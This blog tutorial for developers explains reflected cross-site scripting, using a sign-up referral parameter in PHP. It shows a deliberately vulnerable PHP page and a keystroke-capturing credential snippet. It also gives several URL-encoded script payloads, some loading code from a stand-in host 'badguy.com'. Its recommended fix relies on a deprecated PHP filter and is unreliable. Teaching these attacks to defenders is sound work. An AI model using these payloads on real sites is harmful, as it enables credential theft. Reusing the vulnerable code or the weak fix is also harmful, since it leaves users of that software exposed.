WebSec: Reflected XSS

WebSec: Reflected XSS

·

7 min read

In this web security article, we are going to cover Reflected XSS. We'll cover what it is, how it works, and how to prevent it.

This is for educational purposes only. This post intends to teach you, the developer, how to prevent malicious attacks on your own projects. I am not responsible for how you use this information.

What is an XSS Attack?

An XSS (Cross-Site Scripting) attack is a type of code injection attack in which malicious JavaScript is run in the user's browser. There are different types of XSS attacks, but the end game is to get some kind of malicious code to run in unsuspecting user's browsers. This type of attack can be incredibly dangerous and hard to track down.

How does this happen?

What you as a developer need to understand is that browsers will execute JavaScript as it appears on a web page without question. So anywhere this code can be injected the browser will run it. Since JavaScript can interact with any part of the webpage this gives malicious code a lot of power. Enough power to steal credentials or even hijack sessions.

What is Reflected XSS

A Reflected XSS attack is similar to a Stored XSS attack, but it is not stored and should never end up on the server. This type of attack occurs when improperly sanitized data from HTTP requests are displayed back to the user on a rendered page. What is important to note about this type of XSS is it can be incredibly hard to find and even be aware of its presence. A Stored XSS will hit all users who visit a given page on the other hand a Reflected XSS is often sent to specific targets in a much more surgical manner. Since these malicious payloads are rendered in the URL these vulnerabilities can go unnoticed for quite some time.

What does it look like?

Take the following URL as an example:

https://www.example.com/sign-up?r=user123

That type of URL is used all over the web, a referral link with the referring user's ID or username set in a query parameter. Often times this input is displayed back to the user on the rendered page in one way or another.

Now look at the following:

https://www.example.com/sign-up?r=user123<script>alert('Hello World')</script>

If the query parameter for r is not properly added into the returned HTML the <script> tag will be rendered as well, and since browsers will execute any JavaScript they come accross the user would be greated with an alert saying "Hello World." Nothing too malicious there, more annoying than anything right? Now what if instead that script tag was importing a malicious JavaScript file that looked like this:

document.addEventListener('DOMContentLoaded', e => {
    const email = document.getElementById('email'),
    password = document.getElementById('password');

    let emailVal, passVal;

    email.addEventListener('keyup', e => {
        emailVal = email.value
    });
    password.addEventListener('keyup', e => {
        passVal = password.value
    });
})
// On Submit process and send credentials

Now you can start to see how this can become a problem, what if this was a login link for a major social media application?

How to Prevent Reflected XSS

Thankfully, this answer is simple. So simple it makes you wonder why this is still a problem:

Sanitize ALL values taken from URL's, user inputs, etc

Get in this habit now and never look back. Say our example sign in page was created in PHP using something like this:

<?php
$user = $_GET['u'];
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS Example</title>
</head>
<body>
    <h2>Referred by <?php echo $user?></h2>
    <label for="email">Email</label>
    <input type="email" name="email" id="email">
    <label for="password">Password</label>
    <input type="password" name="password" id="password">
</body>
</html>

See how we are directly returning that value back into the rendered page? This is where the problem is, we are trusting that input is from an honest user with no malicious intent. The proper way to handle this type of input in PHP would be the following:

<?php
$user = filter_var($_GET['u'], FILTER_SANITIZE_STRING);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS Example</title>
</head>
<body>
    <h2>Referred by <?php echo $user?></h2>
    <label for="email">Email</label>
    <input type="email" name="email" id="email">
    <label for="password">Password</label>
    <input type="password" name="password" id="password">
</body>
</html>

The built-in PHP function filter_var will sanitize the input and keep the <script> tag from being processed.

So, again, TRUST NOTHING, SANITIZE EVERYTHING.

A Note About URL's

The URL's won't always be obvious that something is not right either. There are many ways bad actors will try and hide these attacks from their targets.

http://example.com/xss.php?u=Dan%3Cscript%20src=%27bad.js%27%20type=%27module%27%3E%3C/script%3E
http://example.com/xss.php?u=Daniel%3Cscript%3Edocument.addEventListener(%27DOMContentLoaded%27,%20function(e){%20document.getElementById(%27email%27).addEventListener(%27change%27,function(e){console.log(e)})%20})%3C/script%3E
http://example.com/xss.php?u=Dan%3Cscript%3Edocument.addEventListener(%27DOMContentLoaded%27,%20e%20=%3E%20{%20const%20email%20=%20document.getElementById(%27email%27),%20password%20=%20document.getElementById(%27password%27);%20email.addEventListener(%27keyup%27,%20e%20=%3E%20{%20console.log(email.value)%20});%20password.addEventListener(%27keyup%27,%20e%20=%3E%20{%20console.log(password.value)%20});%20})%3C/script%3E
http://example.com/xss.php?u=Dan%3Cscript%20src=%27http://badguy.com/files/bad.js%27%20type=%27module%27%3E%3C/script%3E
http://example.com/xss.php?u=Dan%3Cscript%20src=%27http%3A%2F%badguy.com%2Ffiles%2Fbad.js%27%20type=%27module%27%3E%3C/script%3E

Each one of the above URL's could, in our PHP example, run malicious JavaScript in a browser.

Conclusion

Reflected XSS is a dangerous attack that is often targeted and hard to uncover. They are easy to prevent, TRUST NOTHING, SANITIZE EVERYTHING.